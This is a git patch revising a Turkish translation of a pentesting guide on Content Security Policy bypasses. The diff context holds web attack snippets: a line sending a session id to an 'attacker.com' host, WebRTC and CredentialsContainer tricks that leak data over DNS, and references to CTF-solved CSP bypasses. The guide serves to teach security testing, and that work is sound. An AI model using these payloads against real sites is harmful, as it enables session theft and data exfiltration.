From 6c77e047fc6f088a293b0f548c9bec2d236151bc Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 15:21:50 +0000 Subject: [PATCH] Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM --- .../README.md | 123 ++++++++++-------- 1 file changed, 68 insertions(+), 55 deletions(-) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 58192e75a..224617b8b 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,10 +1,10 @@ -# İçerik Güvenlik Politikası (CSP) Atlatma +# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} ## CSP Nedir -İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir. +Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir. CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. @@ -43,7 +43,7 @@ object-src 'none'; - **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler. - **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir. - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. -- **frame-src**: çerçeveler için URL'leri kısıtlar. +- **frame-src**: Çerçeveler için URL'leri kısıtlar. - **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, ``, ` // The bot will load an URL with the payload @@ -548,7 +548,7 @@ Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socrad ### CSP'yi kısıtlayarak CSP atlatma -[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. +[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: ```html @@ -556,8 +556,8 @@ Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** aracılığıyla **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ -CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir: +[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ +CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlamak için **giriş**'i **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir: ```html ` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\ Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) @@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### Meta etiketi -Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz) +Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz) ```html ``` @@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. -Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın: +Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` +### CredentialsContainer + +Kimlik bilgisi açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Sadece güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır. +```javascript +navigator.credentials.store( +new FederatedCredential({ +id:"satoki", +name:"satoki", +provider:"https:"+your_data+"example.com", +iconURL:"https:"+your_data+"example.com" +}) +) +``` ## CSP Politikalarını Çevrimiçi Kontrol Etme - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)